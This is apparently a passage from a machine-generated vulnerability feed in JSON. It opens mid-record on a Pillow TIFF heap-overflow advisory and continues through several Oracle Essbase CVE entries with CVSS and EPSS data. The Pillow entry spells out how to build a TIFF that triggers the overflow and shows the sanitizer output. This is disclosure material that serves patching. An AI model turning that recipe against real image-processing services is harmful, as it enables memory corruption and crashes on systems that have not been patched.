`im.info[\"compression\"]` (still selecting libtiff) and `im.info[\"icc_profile\"]` survive and the ICC profile is written as tag 34675 (`:1822-1824`), an equally attacker-controlled out-of-line value: `Image.open(x).copy().save(BytesIO(), \"TIFF\")` with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all.\n\n**Proof (overflow).** A 131 198-byte hand-built TIFF — mode L, 7×8191, `Compression=32773` (PackBits), an `ImageDescription` of 65 535 characters — opened with `Image.open()` and saved with `im.save(io.BytesIO(), \"TIFF\")` aborts a stock build with glibc's `malloc(): corrupted top size`. The same call against an AddressSanitizer build of the C extensions reports\n\n```\nAddressSanitizer: heap-buffer-overflow ... WRITE of size 65536\n #1 _tiffWriteProc src/libImaging/TiffDecode.c:115\n #4 TIFFFlush\n #5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056\n0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103\n```\n\n**Proof (uninitialised bytes).** Saving one 300×300 RGB image as `compression=\"tiff_lzw\"` with four odd-length ASCII tags to a `BytesIO`, once with `MALLOC_PERTURB_=1` (glibc fills fresh allocations with 0xfe) and once with `MALLOC_PERTURB_\n\nAffected package ranges reported by GitHub:\nPillow: >= 2.0.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T21:28:09.000Z","updatedAt":"2026-10-21T21:28:09.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-332p-7hrc-92wf","asOf":"2026-10-21T21:28:09.000Z"},"epss":{"probability":0.00818,"percentile":0.56889,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112393&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-332p-7hrc-92wf","url":"https://github.com/advisories/GHSA-332p-7hrc-92wf","type":"primary","publishedAt":"2026-10-21T21:28:09.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-332p-7hrc-92wf, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-332p-7hrc-92wf, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-332p-7hrc-92wf, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-332p-7hrc-92wf, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-332p-7hrc-92wf, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-332p-7hrc-92wf, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-332p-7hrc-92wf, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-332p-7hrc-92wf, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-332p-7hrc-92wf, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112393","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112393","type":"primary","publishedAt":"2026-10-19T21:17:07.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112393&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112393, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91665","cveId":"CVE-2026-91665","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:06.960Z","updatedAt":"2026-10-22T23:20:33.240Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91665","asOf":"2026-10-22T23:20:33.240Z"},"epss":{"probability":0.0047,"percentile":0.40359,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91665&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91665","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91665","type":"primary","publishedAt":"2026-10-20T22:21:06.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91665&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91665, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91663","cveId":"CVE-2026-91663","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:06.723Z","updatedAt":"2026-10-23T17:18:32.390Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91663","asOf":"2026-10-23T17:18:32.390Z"},"epss":{"probability":0.00341,"percentile":0.27386,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91663&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91663","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91663","type":"primary","publishedAt":"2026-10-20T22:21:06.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91663&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91663, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91658","cveId":"CVE-2026-91658","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:06.150Z","updatedAt":"2026-10-23T17:19:01.540Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91658","asOf":"2026-10-23T17:19:01.540Z"},"epss":{"probability":0.00341,"percentile":0.27386,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91658&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91658","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91658","type":"primary","publishedAt":"2026-10-20T22:21:06.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91658&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91658, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91656","cveId":"CVE-2026-91656","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Federated Partitions).","summary":"Vulnerability in Oracle Essbase (component: Federated Partitions).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).","detail":"Vulnerability in Oracle Essbase (component: Federated Partitions).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:05.920Z","updatedAt":"2026-10-23T14:35:07.820Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91656","asOf":"2026-10-23T14:35:07.820Z"},"epss":{"probability":0.00225,"percentile":0.12982,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91656&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91656","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91656","type":"primary","publishedAt":"2026-10-20T22:21:05.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91656&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91656, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91655","cveId":"CVE-2026-91655","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:05.803Z","updatedAt":"2026-10-23T14:56:48.697Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91655","asOf":"2026-10-23T14:56:48.697Z"},"epss":{"probability":0.00229,"percentile":0.13601,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91655","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91655","type":"primary","publishedAt":"2026-10-20T22:21:05.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91655, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91644","cveId":"CVE-2026-91644","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:04.543Z","updatedAt":"2026-10-23T14:58:05.110Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91644","asOf":"2026-10-23T14:58:05.110Z"},"epss":{"probability":0.00233,"percentile":0.14098,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91644","type":"primary","publishedAt":"2026-10-20T22:21:04.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91644, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91638","cveId":"CVE-2026-91638","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 